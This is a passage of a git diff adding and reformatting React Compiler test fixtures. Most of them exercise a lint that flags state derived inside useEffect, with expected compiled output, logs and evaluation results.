+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/effect-derived-computations/from-props-setstate-in-effect-no-error.expect.md
@@ -0,0 +1,39 @@
+
+## Input
+
+```javascript
+// @validateNoDerivedComputationsInEffects_exp @enableTreatSetIdentifiersAsStateSetters @loggerTestOnly @outputMode:"lint"
+
+function Component({setParentState, prop}) {
+  useEffect(() => {
+    setParentState(prop);
+  }, [prop]);
+
+  return <div>{prop}</div>;
+}
+
+```
+
+## Code
+
+```javascript
+// @validateNoDerivedComputationsInEffects_exp @enableTreatSetIdentifiersAsStateSetters @loggerTestOnly @outputMode:"lint"
+
+function Component({ setParentState, prop }) {
+  useEffect(() => {
+    setParentState(prop);
+  }, [prop]);
+
+  return <div>{prop}</div>;
+}
+
+```
+
+## Logs
+
+```
+{"kind":"CompileSuccess","fnLoc":{"start":{"line":3,"column":0,"index":124},"end":{"line":9,"column":1,"index":259},"filename":"from-props-setstate-in-effect-no-error.ts"},"fnName":"Component","memoSlots":7,"memoBlocks":3,"memoValues":3,"prunedMemoBlocks":0,"prunedMemoValues":0}
+```
+      
+### Eval output
+(kind: exception) Fixture not implemented
\ No newline at end of file
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/effect-derived-computations/from-props-setstate-in-effect-no-error.js b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/effect-derived-computations/from-props-setstate-in-effect-no-error.js
new file mode 100644
index 000000000000..1754209d8371
--- /dev/null
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/effect-derived-computations/from-props-setstate-in-effect-no-error.js
@@ -0,0 +1,9 @@
+// @validateNoDerivedComputationsInEffects_exp @enableTreatSetIdentifiersAsStateSetters @loggerTestOnly @outputMode:"lint"
+
+function Component({setParentState, prop}) {
+  useEffect(() => {
+    setParentState(prop);
+  }, [prop]);
+
+  return <div>{prop}</div>;
+}
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/effect-derived-computations/function-expression-mutation-edge-case.expect.md b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/effect-derived-computations/function-expression-mutation-edge-case.expect.md
new file mode 100644
index 000000000000..c1b99a95ab89
--- /dev/null
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/effect-derived-computations/function-expression-mutation-edge-case.expect.md
@@ -0,0 +1,86 @@
+
+## Input
+
+```javascript
+// @validateNoDerivedComputationsInEffects_exp @loggerTestOnly @outputMode:"lint"
+
+function Component() {
+  const [foo, setFoo] = useState({});
+  const [bar, setBar] = useState(new Set());
+
+  /*
+   * isChanged is considered context of the effect's function expression,
+   * if we don't bail out of effect mutation derivation tracking, isChanged
+   * will inherit the sources of the effect's function expression.
+   *
+   * This is innacurate and with the multiple passes ends up causing an infinite loop.
+   */
+  useEffect(() => {
+    let isChanged = false;
+
+    const newData = foo.map(val => {
+      bar.someMethod(val);
+      isChanged = true;
+    });
+
+    if (isChanged) {
+      setFoo(newData);
+    }
+  }, [foo, bar]);
+
+  return (
+    <div>
+      {foo}, {bar}
+    </div>
+  );
+}
+
+```
+
+## Code
+
+```javascript
+// @validateNoDerivedComputationsInEffects_exp @loggerTestOnly @outputMode:"lint"
+
+function Component() {
+  const [foo, setFoo] = useState({});
+  const [bar, setBar] = useState(new Set());
+
+  /*
+   * isChanged is considered context of the effect's function expression,
+   * if we don't bail out of effect mutation derivation tracking, isChanged
+   * will inherit the sources of the effect's function expression.
+   *
+   * This is innacurate and with the multiple passes ends up causing an infinite loop.
+   */
+  useEffect(() => {
+    let isChanged = false;
+
+    const newData = foo.map((val) => {
+      bar.someMethod(val);
+      isChanged = true;
+    });
+
+    if (isChanged) {
+      setFoo(newData);
+    }
+  }, [foo, bar]);
+
+  return (
+    <div>
+      {foo}, {bar}
+    </div>
+  );
+}
+
+```
+
+## Logs
+
+```
+{"kind":"CompileError","detail":{"options":{"description":"Using an effect triggers an additional render which can hurt performance and user experience, potentially briefly showing stale values to the user\n\nThis setState call is setting a derived value that depends on the following reactive sources:\n\nState: [foo, bar]\n\nData Flow Tree:\n└── newData\n    ├── foo (State)\n    └── bar (State)\n\nSee: https://react.dev/learn/you-might-not-need-an-effect#updating-state-based-on-props-or-state","category":"EffectDerivationsOfState","reason":"You might not need an effect. Derive values in render, not effects.","details":[{"kind":"error","loc":{"start":{"line":23,"column":6,"index":682},"end":{"line":23,"column":12,"index":688},"filename":"function-expression-mutation-edge-case.ts","identifierName":"setFoo"},"message":"This should be computed during render, not in an effect"}]}},"fnLoc":null}
+{"kind":"CompileSuccess","fnLoc":{"start":{"line":3,"column":0,"index":83},"end":{"line":32,"column":1,"index":781},"filename":"function-expression-mutation-edge-case.ts"},"fnName":"Component","memoSlots":9,"memoBlocks":4,"memoValues":5,"prunedMemoBlocks":0,"prunedMemoValues":0}
+```
+      
+### Eval output
+(kind: exception) Fixture not implemented
\ No newline at end of file
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/effect-derived-computations/function-expression-mutation-edge-case.js b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/effect-derived-computations/function-expression-mutation-edge-case.js
new file mode 100644
index 000000000000..856209928d1c
--- /dev/null
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/effect-derived-computations/function-expression-mutation-edge-case.js
@@ -0,0 +1,32 @@
+// @validateNoDerivedComputationsInEffects_exp @loggerTestOnly @outputMode:"lint"
+
+function Component() {
+  const [foo, setFoo] = useState({});
+  const [bar, setBar] = useState(new Set());
+
+  /*
+   * isChanged is considered context of the effect's function expression,
+   * if we don't bail out of effect mutation derivation tracking, isChanged
+   * will inherit the sources of the effect's function expression.
+   *
+   * This is innacurate and with the multiple passes ends up causing an infinite loop.
+   */
+  useEffect(() => {
+    let isChanged = false;
+
+    const newData = foo.map(val => {
+      bar.someMethod(val);
+      isChanged = true;
+    });
+
+    if (isChanged) {
+      setFoo(newData);
+    }
+  }, [foo, bar]);
+
+  return (
+    <div>
+      {foo}, {bar}
+    </div>
+  );
+}
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/effect-derived-computations/invalid-derived-computation-in-effect.expect.md b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/effect-derived-computations/invalid-derived-computation-in-effect.expect.md
new file mode 100644
index 000000000000..928b7e9f7129
--- /dev/null
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/effect-derived-computations/invalid-derived-computation-in-effect.expect.md
@@ -0,0 +1,62 @@
+
+## Input
+
+```javascript
+// @validateNoDerivedComputationsInEffects_exp @loggerTestOnly @outputMode:"lint"
+import {useEffect, useState} from 'react';
+
+function Component() {
+  const [firstName, setFirstName] = useState('Taylor');
+  const lastName = 'Swift';
+
+  // 🔴 Avoid: redundant state and unnecessary Effect
+  const [fullName, setFullName] = useState('');
+  useEffect(() => {
+    setFullName(firstName + ' ' + lastName);
+  }, [firstName, lastName]);
+
+  return <div>{fullName}</div>;
+}
+
+export const FIXTURE_ENTRYPOINT = {
+  fn: Component,
+  params: [],
+};
+
+```
+
+## Code
+
+```javascript
+// @validateNoDerivedComputationsInEffects_exp @loggerTestOnly @outputMode:"lint"
+import { useEffect, useState } from "react";
+
+function Component() {
+  const [firstName, setFirstName] = useState("Taylor");
+  const lastName = "Swift";
+
+  // 🔴 Avoid: redundant state and unnecessary Effect
+  const [fullName, setFullName] = useState("");
+  useEffect(() => {
+    setFullName(firstName + " " + lastName);
+  }, [firstName, lastName]);
+
+  return <div>{fullName}</div>;
+}
+
+export const FIXTURE_ENTRYPOINT = {
+  fn: Component,
+  params: [],
+};
+
+```
+
+## Logs
+
+```
+{"kind":"CompileError","detail":{"options":{"description":"Using an effect triggers an additional render which can hurt performance and user experience, potentially briefly showing stale values to the user\n\nThis setState call is setting a derived value that depends on the following reactive sources:\n\nState: [firstName]\n\nData Flow Tree:\n└── firstName (State)\n\nSee: https://react.dev/learn/you-might-not-need-an-effect#updating-state-based-on-props-or-state","category":"EffectDerivationsOfState","reason":"You might not need an effect. Derive values in render, not effects.","details":[{"kind":"error","loc":{"start":{"line":11,"column":4,"index":360},"end":{"line":11,"column":15,"index":371},"filename":"invalid-derived-computation-in-effect.ts","identifierName":"setFullName"},"message":"This should be computed during render, not in an effect"}]}},"fnLoc":null}
+{"kind":"CompileSuccess","fnLoc":{"start":{"line":4,"column":0,"index":126},"end":{"line":15,"column":1,"index":464},"filename":"invalid-derived-computation-in-effect.ts"},"fnName":"Component","memoSlots":5,"memoBlocks":2,"memoValues":3,"prunedMemoBlocks":0,"prunedMemoValues":0}
+```
+      
+### Eval output
+(kind: ok) <div>Taylor Swift</div>
\ No newline at end of file
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/effect-derived-computations/invalid-derived-computation-in-effect.js b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/effect-derived-computations/invalid-derived-computation-in-effect.js
new file mode 100644
index 000000000000..6cd45831215a
--- /dev/null
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/effect-derived-computations/invalid-derived-computation-in-effect.js
@@ -0,0 +1,20 @@
+// @validateNoDerivedComputationsInEffects_exp @loggerTestOnly @outputMode:"lint"
+import {useEffect, useState} from 'react';
+
+function Component() {
+  const [firstName, setFirstName] = useState('Taylor');
+  const lastName = 'Swift';
+
+  // 🔴 Avoid: redundant state and unnecessary Effect
+  const [fullName, setFullName] = useState('');
+  useEffect(() => {
+    setFullName(firstName + ' ' + lastName);
+  }, [firstName, lastName]);
+
+  return <div>{fullName}</div>;
+}
+
+export const FIXTURE_ENTRYPOINT = {
+  fn: Component,
+  params: [],
+};
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/effect-derived-computations/invalid-derived-state-from-computed-props.expect.md b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/effect-derived-computations/invalid-derived-state-from-computed-props.expect.md
new file mode 100644
index 000000000000..c627b583b25b
--- /dev/null
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/effect-derived-computations/invalid-derived-state-from-computed-props.expect.md
@@ -0,0 +1,58 @@
+
+## Input
+
+```javascript
+// @validateNoDerivedComputationsInEffects_exp @loggerTestOnly @outputMode:"lint"
+import {useEffect, useState} from 'react';
+
+export default function Component(props) {
+  const [displayValue, setDisplayValue] = useState('');
+
+  useEffect(() => {
+    const computed = props.prefix + props.value + props.suffix;
+    setDisplayValue(computed);
+  }, [props.prefix, props.value, props.suffix]);
+
+  return <div>{displayValue}</div>;
+}
+
+export const FIXTURE_ENTRYPOINT = {
+  fn: Component,
+  params: [{prefix: '[', value: 'test', suffix: ']'}],
+};
+
+```
+
+## Code
+
+```javascript
+// @validateNoDerivedComputationsInEffects_exp @loggerTestOnly @outputMode:"lint"
+import { useEffect, useState } from "react";
+
+export default function Component(props) {
+  const [displayValue, setDisplayValue] = useState("");
+
+  useEffect(() => {
+    const computed = props.prefix + props.value + props.suffix;
+    setDisplayValue(computed);
+  }, [props.prefix, props.value, props.suffix]);
+
+  return <div>{displayValue}</div>;
+}
+
+export const FIXTURE_ENTRYPOINT = {
+  fn: Component,
+  params: [{ prefix: "[", value: "test", suffix: "]" }],
+};
+
+```
+
+## Logs
+
+```
+{"kind":"CompileError","detail":{"options":{"description":"Using an effect triggers an additional render which can hurt performance and user experience, potentially briefly showing stale values to the user\n\nThis setState call is setting a derived value that depends on the following reactive sources:\n\nProps: [props]\n\nData Flow Tree:\n└── computed\n    └── props (Prop)\n\nSee: https://react.dev/learn/you-might-not-need-an-effect#updating-state-based-on-props-or-state","category":"EffectDerivationsOfState","reason":"You might not need an effect. Derive values in render, not effects.","details":[{"kind":"error","loc":{"start":{"line":9,"column":4,"index":314},"end":{"line":9,"column":19,"index":329},"filename":"invalid-derived-state-from-computed-props.ts","identifierName":"setDisplayValue"},"message":"This should be computed during render, not in an effect"}]}},"fnLoc":null}
+{"kind":"CompileSuccess","fnLoc":{"start":{"line":4,"column":15,"index":141},"end":{"line":13,"column":1,"index":428},"filename":"invalid-derived-state-from-computed-props.ts"},"fnName":"Component","memoSlots":7,"memoBlocks":2,"memoValues":3,"prunedMemoBlocks":0,"prunedMemoValues":0}
+```
+      
+### Eval output
+(kind: ok) <div>[test]</div>
\ No newline at end of file
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/effect-derived-computations/invalid-derived-state-from-computed-props.js b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/effect-derived-computations/invalid-derived-state-from-computed-props.js
new file mode 100644
index 000000000000..4243834c2f6c
--- /dev/null
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/effect-derived-computations/invalid-derived-state-from-computed-props.js
@@ -0,0 +1,18 @@
+// @validateNoDerivedComputationsInEffects_exp @loggerTestOnly @outputMode:"lint"
+import {useEffect, useState} from 'react';
+
+export default function Component(props) {
+  const [displayValue, setDisplayValue] = useState('');
+
+  useEffect(() => {
+    const computed = props.prefix + props.value + props.suffix;
+    setDisplayValue(computed);
+  }, [props.prefix, props.value, props.suffix]);
+
+  return <div>{displayValue}</div>;
+}
+
+export const FIXTURE_ENTRYPOINT = {
+  fn: Component,
+  params: [{prefix: '[', value: 'test', suffix: ']'}],
+};
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/effect-derived-computations/invalid-derived-state-from-destructured-props.expect.md b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/effect-derived-computations/invalid-derived-state-from-destructured-props.expect.md
new file mode 100644
index 000000000000..858daba50230
--- /dev/null
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/effect-derived-computations/invalid-derived-state-from-destructured-props.expect.md
@@ -0,0 +1,60 @@
+
+## Input
+
+```javascript
+// @validateNoDerivedComputationsInEffects_exp @loggerTestOnly @outputMode:"lint"
+import {useEffect, useState} from 'react';
+
+export default function Component({props}) {
+  const [fullName, setFullName] = useState(
+    props.firstName + ' ' + props.lastName
+  );
+
+  useEffect(() => {
+    setFullName(props.firstName + ' ' + props.lastName);
+  }, [props.firstName, props.lastName]);
+
+  return <div>{fullName}</div>;
+}
+
+export const FIXTURE_ENTRYPOINT = {
+  fn: Component,
+  params: [{props: {firstName: 'John', lastName: 'Doe'}}],
+};
+
+```
+
+## Code
+
+```javascript
+// @validateNoDerivedComputationsInEffects_exp @loggerTestOnly @outputMode:"lint"
+import { useEffect, useState } from "react";
+
+export default function Component({ props }) {
+  const [fullName, setFullName] = useState(
+    props.firstName + " " + props.lastName,
+  );
+
+  useEffect(() => {
+    setFullName(props.firstName + " " + props.lastName);
+  }, [props.firstName, props.lastName]);
+
+  return <div>{fullName}</div>;
+}
+
+export const FIXTURE_ENTRYPOINT = {
+  fn: Component,
+  params: [{ props: { firstName: "John", lastName: "Doe" } }],
+};
+
+```
+
+## Logs
+
+```
+{"kind":"CompileError","detail":{"options":{"description":"Using an effect triggers an additional render which can hurt performance and user experience, potentially briefly showing stale values to the user\n\nThis setState call is setting a derived value that depends on the following reactive sources:\n\nProps: [props]\n\nData Flow Tree:\n└── props (Prop)\n\nSee: https://react.dev/learn/you-might-not-need-an-effect#updating-state-based-on-props-or-state","category":"EffectDerivationsOfState","reason":"You might not need an effect. Derive values in render, not effects.","details":[{"kind":"error","loc":{"start":{"line":10,"column":4,"index":288},"end":{"line":10,"column":15,"index":299},"filename":"invalid-derived-state-from-destructured-props.ts","identifierName":"setFullName"},"message":"This should be computed during render, not in an effect"}]}},"fnLoc":null}
+{"kind":"CompileSuccess","fnLoc":{"start":{"line":4,"column":15,"index":141},"end":{"line":14,"column":1,"index":416},"filename":"invalid-derived-state-from-destructured-props.ts"},"fnName":"Component","memoSlots":6,"memoBlocks":2,"memoValues":3,"prunedMemoBlocks":0,"prunedMemoValues":0}
+```
+      
+### Eval output
+(kind: ok) <div>John Doe</div>
\ No newline at end of file
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/effect-derived-computations/invalid-derived-state-from-destructured-props.js b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/effect-derived-computations/invalid-derived-state-from-destructured-props.js
new file mode 100644
index 000000000000..abb1643e6921
--- /dev/null
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/effect-derived-computations/invalid-derived-state-from-destructured-props.js
@@ -0,0 +1,19 @@
+// @validateNoDerivedComputationsInEffects_exp @loggerTestOnly @outputMode:"lint"
+import {useEffect, useState} from 'react';
+
+export default function Component({props}) {
+  const [fullName, setFullName] = useState(
+    props.firstName + ' ' + props.lastName
+  );
+
+  useEffect(() => {
+    setFullName(props.firstName + ' ' + props.lastName);
+  }, [props.firstName, props.lastName]);
+
+  return <div>{fullName}</div>;
+}
+
+export const FIXTURE_ENTRYPOINT = {
+  fn: Component,
+  params: [{props: {firstName: 'John', lastName: 'Doe'}}],
+};
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/effect-derived-computations/ref-conditional-in-effect-no-error.expect.md b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/effect-derived-computations/ref-conditional-in-effect-no-error.expect.md
new file mode 100644
index 000000000000..70174794dc78
--- /dev/null
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/effect-derived-computations/ref-conditional-in-effect-no-error.expect.md
@@ -0,0 +1,67 @@
+
+## Input
+
+```javascript
+// @validateNoDerivedComputationsInEffects_exp @loggerTestOnly @outputMode:"lint"
+import {useEffect, useState, useRef} from 'react';
+
+export default function Component({test}) {
+  const [local, setLocal] = useState(0);
+
+  const myRef = useRef(null);
+
+  useEffect(() => {
+    if (myRef.current) {
+      setLocal(test);
+    } else {
+      setLocal(test + test);
+    }
+  }, [test]);
+
+  return <>{local}</>;
+}
+
+export const FIXTURE_ENTRYPOINT = {
+  fn: Component,
+  params: [{test: 4}],
+};
+
+```
+
+## Code
+
+```javascript
+// @validateNoDerivedComputationsInEffects_exp @loggerTestOnly @outputMode:"lint"
+import { useEffect, useState, useRef } from "react";
+
+export default function Component({ test }) {
+  const [local, setLocal] = useState(0);
+
+  const myRef = useRef(null);
+
+  useEffect(() => {
+    if (myRef.current) {
+      setLocal(test);
+    } else {
+      setLocal(test + test);
+    }
+  }, [test]);
+
+  return <>{local}</>;
+}
+
+export const FIXTURE_ENTRYPOINT = {
+  fn: Component,
+  params: [{ test: 4 }],
+};
+
+```
+
+## Logs
+
+```
+{"kind":"CompileSuccess","fnLoc":{"start":{"line":4,"column":15,"index":149},"end":{"line":18,"column":1,"index":405},"filename":"ref-conditional-in-effect-no-error.ts"},"fnName":"Component","memoSlots":5,"memoBlocks":2,"memoValues":3,"prunedMemoBlocks":0,"prunedMemoValues":0}
+```
+      
+### Eval output
+(kind: ok) 8
\ No newline at end of file
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/effect-derived-computations/ref-conditional-in-effect-no-error.js b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/effect-derived-computations/ref-conditional-in-effect-no-error.js
new file mode 100644
index 000000000000..a5424ab03b2d
--- /dev/null
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/effect-derived-computations/ref-conditional-in-effect-no-error.js
@@ -0,0 +1,23 @@
+// @validateNoDerivedComputationsInEffects_exp @loggerTestOnly @outputMode:"lint"
+import {useEffect, useState, useRef} from 'react';
+
+export default function Component({test}) {
+  const [local, setLocal] = useState(0);
+
+  const myRef = useRef(null);
+
+  useEffect(() => {
+    if (myRef.current) {
+      setLocal(test);
+    } else {
+      setLocal(test + test);
+    }
+  }, [test]);
+
+  return <>{local}</>;
+}
+
+export const FIXTURE_ENTRYPOINT = {
+  fn: Component,
+  params: [{test: 4}],
+};
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/effect-derived-computations/usestate-derived-from-prop-no-show-in-data-flow-tree.expect.md b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/effect-derived-computations/usestate-derived-from-prop-no-show-in-data-flow-tree.expect.md
new file mode 100644
index 000000000000..690574e4429b
--- /dev/null
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/effect-derived-computations/usestate-derived-from-prop-no-show-in-data-flow-tree.expect.md
@@ -0,0 +1,58 @@
+
+## Input
+
+```javascript
+// @validateNoDerivedComputationsInEffects_exp @loggerTestOnly @outputMode:"lint"
+
+function Component({prop}) {
+  const [s, setS] = useState();
+  const [second, setSecond] = useState(prop);
+
+  /*
+   * `second` is a source of state. It will inherit the value of `prop` in
+   * the first render, but after that it will no longer be updated when
+   * `prop` changes. So we shouldn't consider `second` as being derived from
+   * `prop`
+   */
+  useEffect(() => {
+    setS(second);
+  }, [second]);
+
+  return <div>{s}</div>;
+}
+
+```
+
+## Code
+
+```javascript
+// @validateNoDerivedComputationsInEffects_exp @loggerTestOnly @outputMode:"lint"
+
+function Component({ prop }) {
+  const [s, setS] = useState();
+  const [second, setSecond] = useState(prop);
+
+  /*
+   * `second` is a source of state. It will inherit the value of `prop` in
+   * the first render, but after that it will no longer be updated when
+   * `prop` changes. So we shouldn't consider `second` as being derived from
+   * `prop`
+   */
+  useEffect(() => {
+    setS(second);
+  }, [second]);
+
+  return <div>{s}</div>;
+}
+
+```
+
+## Logs
+
+```
+{"kind":"CompileError","detail":{"options":{"description":"Using an effect triggers an additional render which can hurt performance and user experience, potentially briefly showing stale values to the user\n\nThis setState call is setting a derived value that depends on the following reactive sources:\n\nState: [second]\n\nData Flow Tree:\n└── second (State)\n\nSee: https://react.dev/learn/you-might-not-need-an-effect#updating-state-based-on-props-or-state","category":"EffectDerivationsOfState","reason":"You might not need an effect. Derive values in render, not effects.","details":[{"kind":"error","loc":{"start":{"line":14,"column":4,"index":462},"end":{"line":14,"column":8,"index":466},"filename":"usestate-derived-from-prop-no-show-in-data-flow-tree.ts","identifierName":"setS"},"message":"This should be computed during render, not in an effect"}]}},"fnLoc":null}
+{"kind":"CompileSuccess","fnLoc":{"start":{"line":3,"column":0,"index":83},"end":{"line":18,"column":1,"index":519},"filename":"usestate-derived-from-prop-no-show-in-data-flow-tree.ts"},"fnName":"Component","memoSlots":5,"memoBlocks":2,"memoValues":3,"prunedMemoBlocks":0,"prunedMemoValues":0}
+```
+      
+### Eval output
+(kind: exception) Fixture not implemented
\ No newline at end of file
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/effect-derived-computations/usestate-derived-from-prop-no-show-in-data-flow-tree.js b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/effect-derived-computations/usestate-derived-from-prop-no-show-in-data-flow-tree.js
new file mode 100644
index 000000000000..3be4e88a07ad
--- /dev/null
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/effect-derived-computations/usestate-derived-from-prop-no-show-in-data-flow-tree.js
@@ -0,0 +1,18 @@
+// @validateNoDerivedComputationsInEffects_exp @loggerTestOnly @outputMode:"lint"
+
+function Component({prop}) {
+  const [s, setS] = useState();
+  const [second, setSecond] = useState(prop);
+
+  /*
+   * `second` is a source of state. It will inherit the value of `prop` in
+   * the first render, but after that it will no longer be updated when
+   * `prop` changes. So we shouldn't consider `second` as being derived from
+   * `prop`
+   */
+  useEffect(() => {
+    setS(second);
+  }, [second]);
+
+  return <div>{s}</div>;
+}
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/empty-catch-statement.expect.md b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/empty-catch-statement.expect.md
index 9edeab7fe11f..313facae6882 100644
--- a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/empty-catch-statement.expect.md
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/empty-catch-statement.expect.md
@@ -2,7 +2,7 @@
 ## Input
 
 ```javascript
-import { getNumber } from "shared-runtime";
+import {getNumber} from 'shared-runtime';
 
 function useFoo() {
   try {
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/empty-catch-statement.ts b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/empty-catch-statement.ts
index f993e8bc7b17..7a42d45afe3b 100644
--- a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/empty-catch-statement.ts
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/empty-catch-statement.ts
@@ -1,4 +1,4 @@
-import { getNumber } from "shared-runtime";
+import {getNumber} from 'shared-runtime';
 
 function useFoo() {
   try {
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/empty-eslint-suppressions-config.expect.md b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/empty-eslint-suppressions-config.expect.md
new file mode 100644
index 000000000000..eeb0ba6c96db
--- /dev/null
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/empty-eslint-suppressions-config.expect.md
@@ -0,0 +1,53 @@
+
+## Input
+
+```javascript
+// @eslintSuppressionRules:[]
+
+// The suppression here shouldn't cause compilation to get skipped
+// Previously we had a bug where an empty list of suppressions would
+// create a regexp that matched any suppression
+function Component(props) {
+  'use forget';
+  // eslint-disable-next-line foo/not-react-related
+  return <div>{props.text}</div>;
+}
+
+export const FIXTURE_ENTRYPOINT = {
+  fn: Component,
+  params: [{text: 'Hello'}],
+};
+
+```
+
+## Code
+
+```javascript
+import { c as _c } from "react/compiler-runtime"; // @eslintSuppressionRules:[]
+
+// The suppression here shouldn't cause compilation to get skipped
+// Previously we had a bug where an empty list of suppressions would
+// create a regexp that matched any suppression
+function Component(props) {
+  "use forget";
+  const $ = _c(2);
+  let t0;
+  if ($[0] !== props.text) {
+    t0 = <div>{props.text}</div>;
+    $[0] = props.text;
+    $[1] = t0;
+  } else {
+    t0 = $[1];
+  }
+  return t0;
+}
+
+export const FIXTURE_ENTRYPOINT = {
+  fn: Component,
+  params: [{ text: "Hello" }],
+};
+
+```
+      
+### Eval output
+(kind: ok) <div>Hello</div>
\ No newline at end of file
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/empty-eslint-suppressions-config.js b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/empty-eslint-suppressions-config.js
new file mode 100644
index 000000000000..b81132d3b826
--- /dev/null
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/empty-eslint-suppressions-config.js
@@ -0,0 +1,15 @@
+// @eslintSuppressionRules:[]
+
+// The suppression here shouldn't cause compilation to get skipped
+// Previously we had a bug where an empty list of suppressions would
+// create a regexp that matched any suppression
+function Component(props) {
+  'use forget';
+  // eslint-disable-next-line foo/not-react-related
+  return <div>{props.text}</div>;
+}
+
+export const FIXTURE_ENTRYPOINT = {
+  fn: Component,
+  params: [{text: 'Hello'}],
+};
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/error._todo.computed-lval-in-destructure.expect.md b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/error._todo.computed-lval-in-destructure.expect.md
index 20ef03bc659f..026b9f2f1101 100644
--- a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/error._todo.computed-lval-in-destructure.expect.md
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/error._todo.computed-lval-in-destructure.expect.md
@@ -4,7 +4,7 @@
 ```javascript
 function Component(props) {
   const computedKey = props.key;
-  const { [computedKey]: x } = props.val;
+  const {[computedKey]: x} = props.val;
 
   return x;
 }
@@ -15,13 +15,19 @@ function Component(props) {
 ## Error
 
 ```
-  1 | function Component(props) {
-  2 |   const computedKey = props.key;
-> 3 |   const { [computedKey]: x } = props.val;
-    |           ^^^^^^^^^^^^^^^^ Todo: (BuildHIR::lowerAssignment) Handle computed properties in ObjectPattern (3:3)
+Found 1 error:
+
+Invariant: [InferMutationAliasingEffects] Expected value kind to be initialized
+
+<unknown> x$8.
+
+error._todo.computed-lval-in-destructure.ts:5:9
+  3 |   const {[computedKey]: x} = props.val;
   4 |
-  5 |   return x;
+> 5 |   return x;
+    |          ^ this is uninitialized
   6 | }
+  7 |
 ```
           
       
\ No newline at end of file
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/error._todo.computed-lval-in-destructure.js b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/error._todo.computed-lval-in-destructure.js
index f663f5520701..71cb38c25a15 100644
--- a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/error._todo.computed-lval-in-destructure.js
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/error._todo.computed-lval-in-destructure.js
@@ -1,6 +1,6 @@
 function Component(props) {
   const computedKey = props.key;
-  const { [computedKey]: x } = props.val;
+  const {[computedKey]: x} = props.val;
 
   return x;
 }
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/error.assign-global-in-component-tag-function.expect.md b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/error.assign-global-in-component-tag-function.expect.md
index 5553f235a084..b7b707b3e748 100644
